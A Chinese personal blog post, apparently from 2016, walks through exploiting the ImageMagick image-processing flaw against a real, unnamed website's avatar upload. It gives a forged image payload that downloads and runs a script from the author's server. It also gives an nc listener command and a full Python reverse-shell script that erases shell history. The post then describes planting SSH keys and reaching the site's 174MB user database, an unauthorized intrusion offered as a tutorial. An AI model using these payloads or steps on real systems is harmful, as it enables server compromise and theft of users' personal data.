A-A+

思路枯竭的imagemagic渗透

2016年05月08日 22:44 学习笔记, 漏洞安全 评论 6 条 阅读 1,230 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

【废话】仁兄,好久不见,你们还记得我么?最近你可还好,可还行?我曾说过我准备和朋友开烧烤店。我还说过喝雪花啤酒吃卫龙。我还发过这篇文章。非常感谢朋友的留言及回复及大力支持,我没有一一回复,深表抱歉。其实这个漏洞是5月初,刚刚爆发这个imagemagic漏洞的时候,我恰巧碰到这样一个站点,随手把玩了一下。这个是我早早就已经算是写好的文章吧,至少在我还去青岛开店之前。只是我今天才公布而已,早都写好了,只不过在我个人博客里面加了个密。。嘿嘿。

【前提】今天主要是imagemagic漏洞利用。

仁兄,本文利用了如下所列工具:

一、NC.exe   (中文名:瑞士军刀)

二、外网环境(所谓的外网环境就是拿着笔记本在外面 噗,这话说出来我自己都不信,开个玩笑,如果没有外网环境也最好要有外网服务器一台)

三、WinSCP  下载地址:http://winscp.net/eng/docs/lang:chs

四、back.py

-------------------------------------------------------------------------------

【正文】本文主讲imagemagic,其实他还真没什么可讲的。。。噗,仁兄,此处我已经自己掌嘴。重点还是思路吧。

某日,本人坐在电脑前发呆。。。经常爆最新漏洞,很多漏洞都是在测试环境下玩耍,真正利用到实战中也太少了啊。看着人家什么微信执行命令、新浪某站执行命令打进内网什么什么的。我就纳闷了。WHY?我怎么就是找不到呢?可能是我这个人太笨吧。额额额,跑题了。自己又掌嘴了。算了,从新来过。

某日看到一个站点。手贱,测试测试XSS,,,没有。。。测试测试csrf,,有。。。测试测试越权,,有。。。额对了有个最新漏洞,测试一下吧。如图:

cool上传头像

cool上传头像

在这个头像上传的地方我随意上传了一个图片,但是本着测试最新imagemagic漏洞的精神,仁兄,我们需要如下操作。首先,咱们建立一个txt文件,录入如下内容:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://这里是你博客的地址/back.py -O /tmp/x.py && python /tmp/x.py 此处是你的外网IP地址,或外网服务器IP 监听端口")'
pop graphic-context

把上面的内容更改成你的。。。怕仁兄你不明白,下面是我的示例:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://gdd.gd/back.py -O /tmp/x.py && python /tmp/x.py 1.190.190.1 5432")'
pop graphic-context

看到了吧。我的IP是1.190.190.1,我监听的端口是5432。从我博客请求脚本。好了。录入完这些内容,仁兄,需要你把这个txt文本改为jpg格式,就是改一下这个文件的后缀,把txt变为jpg。。

现在我们需要拿出NC监听工具来监听5432端口。监听命令:

nc -vv -l -p 5342

好了,我们上传经过伪造的这个图片。。。然后如果对方服务器存在imagemagic漏洞,那么会触发这个脚本。如图:

nc监听反弹

nc监听反弹

看到了吧,咱们这边监听的nc有了反应,看来已经触发了咱们的命令。咱们现在已经可以执行任意命令了。就是想干嘛干嘛了。其实到这里就已经可以结束了。。。仁兄,下面的内容愿意看就多看两眼,不愿意看就略过吧。

不过仁兄,我对这个窗口很是反感啊。因为毕竟各种执行命令。一顿列目录,一顿查找,说实话,没找到网站目录!!!好吧,承认了是我自己蠢。没办法。
对了这里给出back.py脚本的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding:utf-8 -*- 
#!/usr/bin/env python 
""" 
back connect py version,only linux have pty module 
code by google security team 
UDP by anthrax@insight-labs.org 
""" 
import sys,os,socket,pty 
shell = "/bin/sh" 
def usage(name): 
    print 'python reverse connector' 
    print 'usage: %s <ip_addr> <port> [udp]' % name 
 
def main(): 
    if len(sys.argv) <3: 
        usage(sys.argv[0]) 
        sys.exit() 
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    try: 
        if sys.argv[3]=='udp': 
            s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 
    except:pass     
    try: 
        s.connect((sys.argv[1],int(sys.argv[2]))) 
        print 'connect ok' 
    except: 
        print 'connect faild' 
        sys.exit() 
    os.dup2(s.fileno(),0) 
    os.dup2(s.fileno(),1) 
    os.dup2(s.fileno(),2) 
    global shell 
    os.unsetenv("HISTFILE") 
    os.unsetenv("HISTFILESIZE") 
    os.unsetenv("HISTSIZE") 
    os.unsetenv("HISTORY") 
    os.unsetenv("HISTSAVE") 
    os.unsetenv("HISTZONE") 
    os.unsetenv("HISTLOG") 
    os.unsetenv("HISTCMD") 
    os.putenv("HISTFILE",'/dev/null') 
    os.putenv("HISTSIZE",'0') 
    os.putenv("HISTFILESIZE",'0') 
    pty.spawn(shell) 
    s.close() 
 
if __name__ == '__main__': 
    main()

此脚本是 insight-labs 大神所写呦。
后来想起来,直接用SSH图形工具链接管理多好。。。这里就用到了winscp软件。但是首先我们需要通过上面的命令窗口进入/root/.ssh/ , 然后写入ssh公钥。//仁兄,SSH 这块我就不详细讲了吧? 搜索引擎太多太多相关文章了。

写入公钥后,然后我们就可以用winscp工具来链接了。使用这个工具就像使用FTP一样。。如图:

winscp链接工具

winscp链接工具

通过这个就方便多了。找到了网站目录,还有数据库目录,特别特别特别深!!!看你图挺简单,我没实际进入呢,实际不是这里。。特别特别深,不知道管理员咋想的。

最终发现数据库,用户表

member数据表

member数据表

通过图也能看到,光用户的数据表,已经打到了 174MB大小。。。  给大家留一道题,174MB大小的数据库文件,里面会有多少用户数据???

 

此文没什么亮点,但是仁兄,相信你学习到最新imagemagic漏洞的利用方法了吧~!~   这个漏洞可是已经祸害了很多大站的漏洞哦,微信、新浪、百度等等,很多大站基本都中招了呢。。。

 

 

标签:

6 条留言  访客:4 条  博主:2 条

  1. 不懂

    fill ‘url(https://example.com/image.jpg“|wget http://这里是你博客的地址/back.py -O /tmp/x.py && python /tmp/x.py 此处是你的外网IP地址,或外网服务器IP 监听端口”)’
    pop graphic-context

    这里 /tmp/x.py 是什么东东呢,

    • gdd

      这个x.py 在文章中有写啊 就是back.py

  2. north

    老哥,你的烧烤店开起来了么。啥时候有机会去尝尝去

  3. 4o5

    原来开烧烤店都这么牛逼 不过我开火锅店也还不错 嘿嘿

    • gdd

      哎呦 朋友在哪开火锅店???

      • 4o5

        大武汉

给我留言